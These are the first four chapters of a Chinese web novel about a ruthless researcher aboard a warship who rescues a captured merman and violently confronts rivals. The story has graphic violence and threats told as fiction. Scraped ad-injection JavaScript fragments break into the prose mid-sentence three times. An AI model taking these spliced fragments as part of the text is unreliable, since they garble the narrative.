《饲养人鱼,但黑化版》 1. 第 1 章 忒亚舰于雨夜中航行在惊涛骇浪之中,巨雷劈下的瞬间舰内某一宿舍内的联络器亮了起来。 晏越关掉花洒擦着头发走向联络器,皱起的眉头随着指尖的快速滑动逐渐变深。 下一刻,他迅速拽下浴巾套上干爽的衣服拉开门大步走向甲板的方向。 门外的助手语气焦急跟着给晏越看资料:“学长,他们抓到的人鱼受了重伤。” “我知道,照片太模糊,只能看到伤在鱼尾。”晏越边走边扣制服扣子。 助手咬牙切齿:“他们捕获人鱼的方式永远是这么粗鲁,看人鱼快死了就把烂摊子甩你头上。” 这摆明了是看晏越刚来给他个下马威。 晏越作为帝国研究院最有潜力的四席候选之人空降忒亚,只听命于帝国研究院而不受军部管束且拥有独立研究室。 无论哪一点就足够树敌无数。 但晏越此时充耳不闻抄起急救箱就走的态度实在是让人担忧。 “学长,如果这只人鱼没能撑到实验,你是要受处罚的!” 晏越被拦了一下,立在原地,看向身边的助手。 那双漂亮的黑色眸子像是深邃的黑洞,平静又冷漠地将人卷进去,吞噬一切感情。 被这样一双眼睛看着,助手热着的血突然就冷下来了。 他说:“谈寺,人鱼就是我来忒亚的理由,去把监测器拿来。” 谈寺干吞了吞嗓子,点点头毫不犹豫向相反方向跑去。 晏越看着电梯缓慢跳动的数字果断选择爬楼梯。 他不在乎谈寺说的那些,他的目的只有一个。 抓到人鱼,开展研究,完成‘复生’计划。 在他眼中,无论是人也好人鱼也罢,只是一个字符区别而已。 那些人类之间复杂的情感道德理论,对他来说跟一张白纸没什么太大区别。 他就是这种固执到偏执的人,也是冷漠到失去人性的人。 即使实验室面临爆炸危机,身边的人都跑空他也会镇定自若地继续实验。 因为他不愿接受失败只因一个概率问题。 有人叫他疯子、赌徒、恶鬼。 他初次听到后甚至笑了出来,“我喜欢。” 正是如此才会让他年纪轻轻便入选四席候选行列,在同龄人之中无人能及。 但他不在乎罢了。 忒亚的楼梯很难爬,临近甲板门时机械表一直滴滴作响。 守在门口处壮硕的红发守卫看到他这番模样后不屑地嗤笑一声。 面前的亚裔青年微微喘息着,滴水的发梢洇着肩膀一片潮湿,苍白而有些病态的脸上带着些红晕。 一身淡漠冰冷的气质并不突兀,甚至无法让人看出他半分的狼狈。 红发守卫本就因为不能参与捕捉人鱼只能守门而憋着一肚子火,没想到竟有人主动撞到枪口上。 当面前的人抬起头后,他一肚子的怒火突然拐了个弯,盯着那张脸舔了一下后槽牙。 忒亚没有女人只有壮硕且混杂体味和汗臭味的男人,士兵的生理需求都是自己解决。 俊美的青年并没有穿军服,一张脸因病态的苍白而显得诡异的昳丽,与那些魁梧的士兵有着天壤之别。 邪火冲昏了脑袋,淫话便从牙缝里漏了出来。 “那帮老顽固怎么会派你这毛都没长齐的小子来忒亚,待会儿看见生撕人的人鱼可别吓尿了裤子!” 红发守卫看到晏越没反应以为他真被吓到了,顿时色心大起,冲着那只骨节分明白皙的手就要探过去低声说: “跟着老子不吃苦……” 说到一半感觉有个冰凉的东西抵在胸口处,当他低头看到是什么后脸色大变猛地推开晏越破口大骂:“他妈的你怎么会有冷冻枪!” 话音刚落便吃痛大叫,左腿不知什么时候被扎了手指粗的针,瞬间瘫倒在地。 一直没吭声的晏越冷漠地看着守卫滑倒,对着他的左腿不假思索扣下了扳手。 耳边登时传来炸裂的惨叫声,晏越耳膜刺痛皱眉瞬间踢碎守卫被冰冻而碎裂的腿。 碎片飞溅当场,而他似地狱走出来的恶鬼般看都不看守卫一眼重重推开金属门。 暴雨在瞬间倾泻,将他干爽的衣服尽数打湿。 甲板上道道骇人的划痕格外明显,看起来是大型生物破坏后的痕迹,残肢与弹壳散落满地,不断有昏迷受伤的士兵被抬走,暴雨也没冲淡浓烈的血腥味。 尖叫声、悲嚎声、咒骂声在他耳中尽数落地。 他的眼中只有角落那个庞大的身影,只能听到自己在暴雨中格外明显的心跳。 咚咚,咚咚。 他迫不及待走上前去却被士兵团团围住。 于是他从上衣口袋中掏出身份证明,冷漠开嗓:“让开。” 几个士兵相视一眼但都犹豫了,面前的人他们惹不起,但没有命令也不能让放行。 远处一个同样穿着白色研究服的男人冷哼一声,将灰色的长发甩到身后,旁边的助手连忙将伞偏了过去。 “拉斐尔教授,他来了。” 特温·拉斐尔扫了一眼手表,幸灾乐祸地看着被围住的晏越,“他来晚了。” 他冲着士兵大喊:“都不长眼睛吗?!这可是来自帝国研究院的教授,耽误了时间你们都得完蛋!” 然后故作为难地对晏越开口:“晏教授,这只人鱼...” 晏越越过他们看着被特制锁链捆住而动弹不得的人鱼。 巨大的雷在眼前炸开,雷暴的光落在琥珀色的鱼尾上,让人一时分不清究竟是什么在发光。 那应当是一条很漂亮的鱼尾,只是被血水和脏污染的不成样子,尾鳍撕裂,粗壮的尾身上有个骇人的血洞,甚至能透过洞口看到森森白骨。 晏越突然有种说不出的感觉,细细密密缠在他的心脏尖端,但很快消失了。 这条人鱼比他以往见过的人鱼更为惊艳、漂亮。 它没有灰扑扑的颜色,即便是在血水和雨水的掩盖下也无法遮盖初见的震撼。 金色的长发湿漉漉地贴在脊背上,像砂金,又像搁浅在礁石滩的落日,偶然被水手捕捉。 金发下的轮廓是上帝寸寸雕刻出的创世作,浅色的睫毛稍短些,完美的中和了锐利的锋芒。 上半身流畅的肌肉线条优美到让人出神,此时一只与人类无异的手臂无力且以一种诡异的姿势折在身后,只是手掌的部分被蹼爪代替。 蹼爪上不断滴落着血。 就在这时,那条躺着甲板上本不知生死的人鱼突然睁开眼睛,趁着士兵放松警惕猛一个跃起。 几个反应不及的士兵被人鱼恐怖的力量轻易拽了起来,顺着手里的锁链惨叫着摔进了风浪之中,连一秒钟都没停留瞬间消失在海中。 惨叫声戛然而止,靠人鱼最近的士兵吓得惨白了脸看着无边的海浪,似乎还没反应过来,但下一秒他便被人鱼尖锐的蹼爪开膛破肚。 “啧。”特温被这只凶残狂暴的人鱼吓了一跳,不由自主向后退了一步,“都等着干什么!” 而晏越却动都没动,难掩眼中的欣赏与兴奋,甚至有些疯狂。 金尾人鱼用尽全力试图将拽着锁链的众人一起拖入海中,但因为受了太重的伤逐渐体力不支,被陆续赶来的人类重新压在了甲板上。 它愤怒的嘶吼,嗓中发出类似于野兽的声音,直到彻底昏迷。 残暴的眼神让所有人都后背一凉,更用力的压制住它,生怕它再次醒来。 血水顺着甲板蔓延到了晏越的脚下,他如梦初醒疾步走去。 “晏越,没有命令你不能靠近它,这只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人鱼现在还没有研究员负责!” 特温的话说到一半便被晏越凌厉的目光所震慑忘了要说什么。 此时天幕恰巧划出一道闪电嵌在晏越背后,让他整个人带着一份冰冷的凌冽。 血水不知何时溅到他干净的衣角上,即便站在暴雨中挺直的脊背也没弯折。 “人鱼我负责,把嘴闭上带上你的人滚远点。” 特温的脸几番变幻怒急反笑,身旁的助手本想替特温说句话但被晏越的目光扫过后顿时觉得浑身都被冻住了。 “让他去,这只人鱼必死,他晏越留不下了。” 特温笑的有些狰狞,一张不错的脸蛋都气花了,踩着靴子退后几步,一滴雨都没沾上。 他看着暴雨中的晏越将针剂推进人鱼的身体,想想待会儿晏越发现自己准备“惊喜”时的场面,没忍住笑出声了。 助手以为特温气疯了,有些恐惧的连忙将视线挪开。 此时谈寺也抱着监测器狂奔赶来,半跪在地熟练地对人鱼进行实时监测。 晏越打开探照灯,因为雨水模糊视线所以只能大约看出是个雄性人鱼,约有三米长,这已经是成年人鱼的体型了。 精壮的身躯上满是伤痕,正在汩汩地向外冒血。 他仔细地检查人鱼的情况,敏锐地敏锐地发现人鱼的耳鳍颜色很淡。 晏越皱起眉,意识到了什么迅速抽了它一管血给谈寺分析。 成年人鱼的耳鳍颜色较深且宽大,这很有可能是一只尚未成年的珍惜种。 如果是这样这只人鱼更不能死,这是唯一突破实验桎梏的可能性。 他迅速给人鱼注射了几支药剂,人鱼也因为他的触碰逐渐转醒。 晏越的睫毛盖住厚厚的雨水,余光微动看到监测器的波动,丝毫没有任何犹豫拿起口笼向人鱼扣下—— 巨大的力量将他的虎口瞬间震裂,尖锐的犬齿只来得及碰在铁箍上。 金尾人鱼蔚蓝的竖瞳在暴雨下格外森冷。 那双眼睛空洞又及其野性,却又冷静地看着晏越,是伺机而动观察着猎物。 一旁的谈寺下意识就要把晏越拉走,但人鱼似乎已经耗尽全部力量,重重地砸在了甲板上。 晏越手里动作一僵,谈寺感觉到他的异常有些疑惑,“学长?” 下一秒,他看到了监测器上暴涨的感染指数,脸色大变。 暴涨的感染指数证明了这只金尾人鱼已经错过了最佳治疗期。 特温看到谈寺愤怒的脸忍不住对着晏越瘦削的背影笑的花枝乱颤。 “这份礼物你终于拆出来了,帝国的骄傲。” 谈寺怒不可遏但也无力回天,他们谁都不知道人鱼已被感染了。 晏越接手了这只即将死亡的人鱼意味着他会离开忒亚接受审判处罚。 金尾人鱼的发了无生气地贴在精致的脸颊旁,盖住琥珀色浓而密的睫毛,监测器下降的心率昭示着生命的流逝。 晏越轻轻碰了一下人鱼的肌肤。 冰凉又光滑,但充满了最后的生机。 只几秒钟,晏越便下定了决心。 “抗体。” 他伸出那只消瘦苍白的手,对谈寺说。 谈寺条件反射拿起抗体的手顿了顿。 这简直是一场豪赌,可他还是把抗体递了过去。 特温在一旁嘲笑他的不自量力。 “人在着急的时候就会做出些蠢蛋行为,果然天才也不例外,接下来就让我们准备给这位帝国研究院的骄傲开欢送会了。” 但脸上的笑没维持住几秒,他便目瞪口呆看着本以为要打进人鱼体内的抗体被晏越尽数扎进自己胳膊里。 谈寺慌张地把抗体抢下来,但为时已晚。 晏越已经把注射剂推到底了,他只来得及抢下一个空管。 2. 第 2 章 “...他疯了吗?” 特温因为震惊半天才反应过来,指着那个空空的注射器问,“那是给人鱼的吧?不是给人的吧?” 助手显然也被吓到了,因为太过于震撼,连举着伞的手都忘了继续偏向身旁的人,让特温的肩膀被雨水打湿了一点。 冰冷的雨水让特温的脑子缓慢地运转起来,突然对着士兵们急切低喊:“该死,把他抓起来别让他真死了!” 后知后觉的士兵们相视一眼,看着单膝跪在甲板上的晏越犹豫不决不敢上前。 抗体会在五分钟内生效,没人能在高剂量抗体下存活,恐怕连强壮的士兵都会因为排异反应爆体而亡,更别说一辈子都呆在研究室坐着的研究员。 他们早就认定了这愚蠢鲁莽的教授会失败。 而抗体融合失败的下场只有两个,暴毙而亡或是变成污染物,无论哪一种倒霉的都是他们。 “都愣着干什么,趁着他还有意识快点抓起来啊!” 特温的怒吼让他们短暂地思考了利弊后举着枪小心翼翼逼近晏越。 谈寺上前一步将晏越挡在身后呵斥道: “晏越教授受忒亚的保护,这是舰长布拉德利的命令!谁如果伤了他就是背叛整个帝国!” 眼见着那些士兵又犹豫了,特温冷笑一声将伞夺过大步上前。 “谈寺,醒醒吧,你都没想过为什么这么大的事布拉德利都没露面吗?晏越死后责任就只能算到你身上,你能有今天都是拜他所赐!这就是你的好学长。” 谈寺充耳不闻,止不住担心从注射抗体便静止的晏越。 时间一分一秒流逝,身后仍旧没有声音。 以谈寺的角度只能看到晏越瘦削苍白的侧脸,雨水从他的下巴处汇集,滴落在身下的人鱼额上。 他一动不动,像帝国的塞夫朗公园里那个早就因风吹日晒而自然风化的雕像。 就在谈寺绝望地看着监视器上的数字不断跳动时,所有人听到溺水之人破水一般大口喘息了一声。 他停止的心猛地跳了一下,冰冻的身体瞬间得以解冻。 但他来不及庆幸,因为他看到晏越手腕的机械表在剧烈闪动,连忙扑过去从晏越的白大褂里侧拿出一管注射药剂。 这个机械表是为了监测晏越的身体情况而特制的。 因为他的身体并不好,严格说是很差,因此他总是随时备着一种特殊药剂。 机械表在主人接受药剂的注射后安静了下来,谈寺此时已经分不清后背是雨水还是汗水了。 就在所有人都松了一口气时,一直安静的晏越不知何时摸出一把军刀,左手掌心覆上刀刃用力握拢后迅速将军刀抽出。 整个过程非常快,毫不留情,一旁的谈寺甚至感觉到有几滴温热的血甩在了脸上。 而晏越本人面无表情,眼都没眨一下,残酷到有些士兵都下意识皱了眉。 他将口笼拿下,手指捏着人鱼的下巴迫使它张开嘴,然后像失去痛觉一样将伤口攥紧悬在它面前。 血从他的掌心汇集,沿着指骨滴落在人鱼唇边。 监视器上感染指标终于开始缓慢下降到边界值附近,这已经是不幸中的万幸了。 失血过多的晏越体力急速流逝摇摇欲坠,被谈寺扶着到了一旁处理伤口。 即便是有心理准备,但在看到狰狞的伤口后还是吸了口凉气。 可晏越却对自己的伤口满不在乎,眼睛一眨不眨地黏在人鱼身上,疯狂的让谈寺干吞了吞嗓子。 简单处理好伤口后他想要走过去却脱力摇晃一下,站稳后马上摸出针剂毫不犹豫扎进手臂里。 谈寺急了:“你不能再刺激身体了,你才刚适应抗体,这样下去会死的!” 当视线终于不再模糊后晏越向后撩了一把散在额前挡视线的碎发,终于想起来一旁脸黑的像锅底的特温。 一个被伞保护的只沾了一点雨,一个在暴雨下浑身湿透白大褂上尽是血水和黑污。 没人敢说他狼狈。 “特温·拉斐尔准尉,隶属忒亚舰研究室,我会在回到帝国研究院后尽数上报关于你知情不报而导致人鱼错过治疗期的事实,至于你们...” 被晏越一个凌厉的眼刀扫过去的士兵不由得弯了弯腰,瑟瑟发抖低下头不敢看他。 “也别想逃,但赏罚分明,如果有人把人鱼安全送往我的研究室,我也会向帝国汇报你们的将功抵罪,至于如何判就不归我管了。” 听到晏越这么说还没反应过来的士兵就是傻蛋了,争抢着去抬那只本来觉得很恐怖的人鱼,小心翼翼的怕伤了它。 所有人都好奇为什么他能活下来,但没人敢问。 因为他们都相信了这是个彻头彻尾的疯子,就冲着他不把命当回事的样子,传言绝对是真的。 助手看着他们离开后小声问:“教授,怎么办?” 特温黑着脸哼了一声,“怕什么,他在帝国研究院是个宝贝又怎么样,这里是忒亚。” 说完,食指绕着灰色的发尾勾了一下,抿着嘴角,眼睛中漏出狡黠的光芒,“走,去找舰长。” 淋成落汤鸡的助手大气都不敢出一声连忙跟上去。 晏越本想直接去研究室,但刚才那针药剂的药效已经过了,下电梯眼前一黑差点栽过去,条件反射就去摸针剂却被谈寺发现了。 他语重心长劝到:“学长,你的身体经不起折腾了。” 他知道拗不过晏越于是只能把老师搬出来,“老师嘱托过让我看着你。” 晏越没吭声但把手抽出来了,谈寺便知道他听进去了。 “去休息一下吧,这里我看着,人鱼的各项指标都还算稳定,短时间内不会出事。” 身体确实太冷了,骨缝都痛起来,仅存的理智告诉他现在需要休息,于是他点了点头回去简单的洗了个澡倒头就睡。 梦中他还在那场雨中,被那森冷的眼睛注视着,像礁底的暗流,稍一不注意便被卷入海底骸骨无存。 再次醒来已是三个小时后了,他用镜框盖住眼底泛起的一片青色,即便联络器没有消息他还是穿戴整齐去了研究室。 他的研究室外并没有军部的人把守,偌大的研究室也只有他、谈寺和一位试验员。 这就够了,他不喜欢人多。 看他进来,谈寺拿着机械屏递给晏越,指着几处说: “因为受了太重的伤加上感染没被彻底清除,指标不太健康,但好在暂时控制住了。” “尾鳍的伤不致命,但是下腹部的穿透伤很重,培养皿里的恒温海水注入了约一半的治疗液,不过这种致命伤很难保证它有能力自愈。” 谈寺到现在都有些恍惚。 没想到这种人鱼居然能救活,这简直就是奇迹,而创造奇迹的人就是身旁的这位。 晏越快速扫了一遍,“把温度逐渐调高三摄氏度防止失温,情况稳定下来再注入微量抗体,我去里面看看情况。” 谈寺迅速拉开椅子坐下,手指飞快地在键盘上敲动,末了想起什么望了一眼晏越重新包扎好的左手才放下心来。 手对于研究人员来说非常重要,晏越不会在这种问题上糊弄。 他缓步走入观察室,在淡淡的光照下,依稀能看到玻璃后沉睡在阴影下的偌大躯体。 培养皿内的海水被人鱼的鲜血染上了粉红,借着光照,人鱼的模样才被缓缓揭开。 这是一条有着琥珀色鱼尾的人鱼,耳鳍是淡淡的近乎透明的琥珀色。 高挺的鼻梁和深邃的眼窝让人想到北欧神话的神明,因为尚未成年,此时更富有一种雌雄莫辨的神性美。 长而卷的发缓缓浮在那张精致的脸侧,金色的卷发像明媚日光下的大漠,将那张因沉睡而显得无害的脸托起。 此时人鱼的双臂被束带反剪在身后,鼻梁下是晏越亲手带上的口笼,整条鱼显得极其可怜。 晏越打开手电扫到它被撕裂的尾鳍上,上面有着约莫成年男子一臂长的裂痕,应当是在剧烈争斗后留下的伤口。 托人鱼恐怖的自愈能力以及一池的营养液的福,裂痕根处已经附上了一层近乎透明的薄膜。 顺着光线往上扫,晏越的视 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 线停留在了那血淋淋的洞处。 太重了,这种伤人鱼没办法自愈。 不仅没办法自愈,一定会影响后续实验。 饶是有营养液在,伤口还在不断冒血,将周围水的颜色都染的更深了一些。 这种致命伤只有忒亚引以为傲的追踪炮可以做到。 在晏越还没到忒亚前,对于人鱼的研究主要是特温·拉斐尔在接手。 忒亚不惜一切代价甚至采取极端方式捕获人鱼导致无数只人鱼还没撑到进行实验便惨死,帝国研究院对此颇有不满。 晏越眼中闪过一丝不易察觉的戾气,伸出手掌抵在玻璃上,盖住了那个血淋淋甚至有些恐怖的伤。 就在这时,兜里的联络器滴滴作响,是谈寺。 “学长,布拉德利上校找你,他跟特温·拉斐尔的关系不太一般,你要小心。” 晏越“嗯”了一声关闭联络器,抵在玻璃上的手重新插回口袋里转身离开。 就在他拉开门的瞬间,本应当陷入沉睡的人鱼在此时猛地苏醒过来。 蔚蓝的竖瞳光是看一眼便让人如坠冰窖,不知深海下藏起的猛兽何时会发起攻击。 特温从布拉德利的办公室出来时看到迎面走来的晏越,挑衅地看了他一眼。 对方至始至终都没给过自己一个眼神的态度彻底激怒了他。 助手在门口看着降到冰点的氛围也不敢贸然上前,直到那人进了办公室才敢小心翼翼上前喊了一句:“拉斐尔教授。” 特温那双灰色的眸子轻转了一下,勾起唇角一扫不悦昂首离开,军靴踩在甲板上嘎吱响。 助手发现这是晏越研究室的方向后背后汗涔涔的,抱着一丝侥幸:也许是有别的事呢? 可当他看到特温带着三层的警卫员推开晏越研究室的门,甚至指挥他们将谈寺和观察员绑起来,悬着的心终于是死了。 谈寺和试验员被摁在桌子上动弹不得,愤怒不已。 “特温·拉斐尔,你是想背叛帝国吗?” 特温冷笑一声,一字一句道: “谈寺,你真是糊涂,这里是忒亚不是帝国。” “你跟错人了。” 一股浓重的香水味随着特温的靠近飘到谈寺的鼻翼下,这让他厌恶地偏头试图甩开特温伸来的手。 助手本以为特温会暴跳如雷,谁知他只是缩了一下指尖直起身子嘲笑到:“那你就亲眼见证他的失败吧!” 说完径直走向观察室,末了冷冷地扫了一眼自己的助手,“站在那干什么,等我请你过来?” 助手为难地看了一眼谈寺,还是小跑上前为特温打开了门。 特温看着培养皿里紧闭双眸的人鱼先是愣了一下,想到必死的人鱼还活的好好的脸就垮了下来, “这都能让他救下来。” 助手有些担忧:“人鱼要是治好了就会被晏越用于实验研究,到时候可就来不及了。” 他们都知道凭借以晏越的能力,突破研究瓶颈只是时间问题。 特温看着鱼尾上一处发黑的小伤口,那是被感染的证明。 他阴阳怪气地说:“去把温度调到最低强行唤醒人鱼,既然他怕药失效,那我偏不如他愿!” “可是这样...” 特温瞪了助手一眼,助手只能硬着头皮去。 不一会儿,他满意地看着人鱼缓缓苏醒过来。 失温和疼痛让它在苏醒后开始暴怒,淬了冰的眸子让特温和助手即使隔着玻璃也后脊发凉。 那双眼睛在顶端暗光的笼罩下,像是海蛇般的阴沉。 就在他尚未反应过来时,人鱼在他猝不及防时猛地猛地撞向玻璃,力度大到地板都在震动。 特温吓了一大跳,助手更是跌倒在地。 但玻璃毫发无伤。 相反,它尾鳍伤口处刚生出来薄膜却因用力过猛而撕裂了,此时正随着鱼尾的血洞汩汩地往外冒血。 赫瑞斯因疼痛而更显愤怒,微微张开嘴漏出锋利到可以轻易刺碎腿骨的利齿,试图掏出囚笼撕裂培养皿外笑的癫狂的人类。 3. 第 3 章 忒亚的舰长布拉德利年逾四十,看到来人后亲切的微笑道:“久仰大名。” 晏越还惦记着观察室的人鱼,只是敷衍的点点头,“布拉德利少校,你有事找我?” 卫兵看到晏越高傲的态度当即呵斥:“无礼!你面前的可是布拉德利少校!” 布拉德利佯怒厉声道:“你怎么跟教授说话的,出去领罚!” “是!” 待卫兵离开后,布拉德利又恢复了那笑眯眯的模样。 “我很抱歉,我的卫兵不知礼节,希望这并没有让你因此而坏了好心情。” 布拉德利暗红的暗红的发中夹杂些银丝,左边的义眼暗淡无光,另一只眼睛则藏着许多深不见底的东西。 在帝国波诡云谲的政治场上他见过许多这种人,诡诈狡猾,吃人不吐骨头。 他不想跟这种人纠缠,也不想把时间浪费在这种事情上。 布拉德利不会莫名其妙主动找他。 于是他开门见山打断了布拉德利的客套,“少校有事不妨直说。” 清秀俊朗的亚裔青年双手插兜,冷冽的气质让人无缘由会想起在末世前尚且存在在高寒地区的寒松。 他瞧着有些劳累,眼底有些淡淡的青,薄唇也没什么血色。 但那双眼睛格外亮,又因为睫毛长,瞳仁在睫毛的阴翳下更深,瞧人总有种悲悯感和孤傲劲。 让人就这么相信名利、地位都没法在这双眼睛里刻下丁点的痕迹。 布拉德利将手交叠在下巴上,微微笑了一下。 他还就偏想要看看这样一双眼睛里是怎么染上恐惧的颜色。 “那还请教授解释一下,为什么你未经军部允许私自注射抗体?” “当然了,我知道教授这种核心人员想要注射抗体一定会被同意。” “可是,这里是忒亚。” “每个人都要跟我报告。” 布拉德利说话时眼睛紧盯着晏越,生怕错过那张脸上一丝一毫的慌乱神情。 但很遗憾,晏越连眉毛都没抬一下,声音如常: “布拉德利少校就为这件事?” 什么? 布拉德利微怔。 下一秒,他看着晏越脚尖勾着凳子坐在自己面前,优雅地翘起腿推了一下鼻梁上的镜框。 “今日凌晨3点忒亚抓到的人鱼比以往那些有天壤之别,它的自愈能力至少是它们的1.5倍,是研究院乃至整个帝国突破抗体上限的关键一环。” “但这只人鱼因为被故意拖延上报感染事实导致错失最佳治疗期,如果不是我接受抗体注射并幸运活了下来,然后用自己的血救急,这只人鱼必死无疑,抗体研究也将继续面临限制数年之久。” “布拉德利少校等的了,帝国等的了?” “那不如布拉德利少校解释一下这件事?”” 因为经过一晚上的折腾,此时他浑身酸痛,布拉德利又因为这件事想要治他罪,他连最后的体面都懒得给了。 说完后,他又状似无意地提了一句,“哦对,人鱼的信息我已传输给帝国,算算时间那边早就收到了,如果我不幸身亡,那么这账可就算到少校头上了,毕竟是忒亚引以为傲的追踪炮给人鱼造成了致命伤。” “要是这么算的话,少校还得谢谢我不是吗?” 他看着布拉德利的笑容逐渐阴沉,满意地勾起嘴角。 敢威胁他就得付出代价。 晏越说的没错,忒亚这几年为了捕捉人鱼无所不用其极,帝国研究院的人对此颇有异议。 布拉德利没想到面前这个看似柔弱的亚裔教授竟然如此伶牙俐齿,但很显然,从那张嘴里吐出来的字是带着毒的。 他变脸似得骤然笑道:“教授误会了,我只是担心教授的安危,毕竟你出了事我可没办法交代,下次这种事情希望教授能体谅一下我们这些老东西,给我们点准备时间。” 晏越不再跟他多扯,点头示意离开。 待他离开后卫兵进来跟布拉德利说:“少校,您怎么不说您侄子的事,您侄子的腿只能装机械义肢了。” 谁知这句话让布拉德利当场大怒,“他什么混账玩意我能不知道?整天给他处理烂事,你是生怕帝国不知道吗!” 卫兵吓得立马道歉。 布拉德利深吸一口气平复心情,“让那个白痴管好自己的下半身,再有下次直接滚出忒亚!” “是!” “还有,让特温最近不要去惹晏越。” “是,少校!” 晏越回到研究室发现门是虚掩的后敏锐地放慢了脚步。 谈寺和试验员都不会犯这种低级错误,他默不作声摸了兜里的枪,故作自然走了进去。 谈寺看到他后瞪大了眼睛,还没出声就看到晏越将食指放在唇前,踱步走进来干脆利落地对着卫兵的胳膊就是一枪。 “啊!!” 卫兵大叫着放开试验员,另一个人大惊失色还没来得及有什么反应就感觉脖子一痛昏在地上。 “你的胳膊如果在十分钟内没得到处理就可以准备义肢了。” 晏越像是从地狱走出来的恶鬼,吓的另一个尚且有意识的卫兵尖叫着捂着胳膊跑了出去。 谈寺手脚并用爬到电脑前告诉晏越,“特温·拉斐尔干的,他们现在正在观察室里,他的助手调低了温度而且在营养液里加了亢奋剂强行唤醒人鱼!” 听到谈寺的话晏越眉毛皱在一起,“醒了吗?” “醒了,各项指标在急速下降,他还想在培养皿里通入微量电流刺激人鱼,但咱们没那个东西。” 谈寺额前都急出一层薄汗,盯着乱窜的指标也不敢妄动,直到晏越过来迅速扫了一眼冷静地下命令。 “亢奋剂停了,温度每二十分钟上调0.5℃,把培养皿的循环系统打开。” 谈寺眼睛的余光看到晏越抄着枪就要进去连忙提醒:“别让他死了,不好处理。” “哦。” 观察室内的特温捂着被电流器砸到有些发麻的手大喊:“给我摁着它!” 说罢拿出足有手指粗的针管就要往暴怒的人鱼脊椎上扎。 赫瑞斯的双臂被束住,其中一只胳膊因为脱臼无力地垂在另一只蹼爪中,鼻梁下被扣上口笼,它此时只能看着这两个可笑的人类扯着锁链像拖死狗一样把它拖上来。 蔚蓝色的竖瞳森冷且一眨不眨看着他们,像淬了毒。 助手被这样瞪着,冷汗都狂流。 “它...它不会诅咒我们吧?听说人鱼的诅咒很可怕的。” 特温气极反笑,暴力拽着人鱼金色的卷发往上提,“蠢货,它来不及诅咒你,它只会下地狱!” 人鱼破嗓一吼,音浪震的水面激漾,人类的耳膜被这种声波刺激到会很痛。 助手本就害怕,赫瑞斯的声波让他闷哼一声, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手里的动作一送脚底一滑直接坠入池水中。 特温费劲的提着人鱼的卷发,即使将它的头皮扯出血也没松手。 晏越进来看到的就是这样的场面。 锁链拴住了金尾人鱼的脖颈,电流器歪歪斜斜倒在一遍甚至蹦出了点火星子。 因为重量,漂亮的头发在特温的暴力撕扯下断了好多。 水声、锁链挣扎声、人类怒骂声混杂在本该安静到连针落的声音都能听得清清楚楚的观察室。 还从来没人敢在他眼皮子底下干这种事。 晏越眼底的戾气在此刻瞬间爆发,体内的肾上腺素因愤怒而激升。 他轻巧的跨上楼梯,用枪抵在那个灰色的脑袋后,拉开了保险栓。 “咔哒。” 这声音落地的瞬间,特温止住了手里的动作。 他看到蔚蓝色的竖瞳看向自己的身后,带着戒备。 下一秒,一只手从侧后穿过,以一个轻巧的力量轻轻推上了人鱼那只无力垂下的手臂。 赫瑞斯看着那个黑发的人类不知从哪里蹿了出来,像是鬼魅一样。 骨节分明的手贴在自己的肌肤上一触即分。 温热又干爽。 骨缝传来细小的摩擦声,下一秒它的蹼爪便有了知觉。 接骨的痛轻微到几乎没有任何感觉。 巨大的人鱼在瞬间沉入水中,在水下静静观察着岸上的人类。 那个黑发的人类给它接上了胳膊,另一个人类似乎很怕他。 它喜欢那双眼睛。 漆黑的,像是宝石。 看似没什么感情,但是里面有些跟猛兽相似的疯狂与危险。 金色的尾鳍无意识晃了晃,示意主人的兴趣。 “好大的胆子,特温·拉斐尔。” 冰冷的声音没比人鱼刚才的恐怖音波有多柔和。 特温不敢妄动,只能看着池子里的助手因为过冷的水温从吓得拼命扑腾到迅速失去体力沉下去。 “救...咕噜...救——我...!咕噜...” 观察室又恢复了原先的安静,特温干吞吞嗓子眼珠子一转马上把手里的注射器丢下去砸个四分五裂试图毁灭证据。 干完这些甚至还阴阳怪气地说: “别不知道好歹了,这可是高级营养剂,比普通的营养液珍贵多了。” “是吗?” 晏越的声音平静到特温心里有点没底。 “当...啊!” 特温话还没说完吃痛一声,看到自己的大腿上不知道什么时候扎进了一个注射剂,空的注射剂。 “你!” “别不知好歹,这是帝国研究院刚研究出来的营养剂。” 末了,他还凉凉地加了一句。 “比你的命都值钱。” 此时水下的赫瑞斯讥讽地看着几个人类内斗,甚至嘴角微微上扬,仿佛在说: 看吧,人类这种物种,即便没有其他生物阻挠也会自相残杀。 它看着缓慢沉下来惊恐到昏厥的人类,活动了一下锐利的蹼爪。 刚才的账还没算呢,先绞碎这个,然后... 它看向岸上,眯起眼睛,瞳孔中折射出一丝危险的光芒。 下一个是那个灰色头发的。 至于这个黑头发的... 它再次晃了晃尾鳍。 它要慢慢品尝。 4. 第 4 章 “晏越!你给我打的到底是什么!” 特温因为腿部的失去痛觉而尖叫起来,但脑袋后面抵着的枪让他不敢妄动,只能撑着自己保证不摔进培养皿里。 实验室的灯不知道什么时候被关上了,他只能听到晏越冰冷的声音:“说了营养剂,听不懂话?” “你给我打营养剂干什么?!” 晏越轻笑一声,“不想要营养剂想要什么,麻醉剂、肾上腺素?还是说,你想要安乐死的针剂?” 敢赌吗? 特温不敢,冷汗从额角滴落。 什么营养剂打进身体里会让他的腿失去知觉? 他承认,晏越有让他死的悄无声息的能力,每一个研究人员手下多多少少都有一些见不得人的手段,尤其是在末世。 丝毫不用怀疑,晏越会让他变成人不人鬼不鬼的东西。 冰凉的水温开始凝结到空气中,前面是水下森森的竖瞳,后面是抵着脑袋的枪口。 特温的腿彻底没了直觉。 安静的观察室中,连水的波动声都没有,更别说挣扎求救声,特温也是在这时彻底慌乱起来,不知道骂了那两个守卫几百遍。 反正他的目的达到了,这人鱼这模样真是要撕人,晏越也有的苦头吃。 于是他咬牙服软,毕竟再不甘心也没法跟晏越谈条件了。 “行了,这次是我鲁莽,放过我的助手。” 抵在脑后的枪仍没放下来,特温大叫着:“你聋了吗,我说我...” 晏越冰冷的声音骤然从耳边响起,像地狱的低语。 “如果再让我看到你在我的研究室,我保证,你这张脸就会被我撕下来喂鱼,你信吗?” 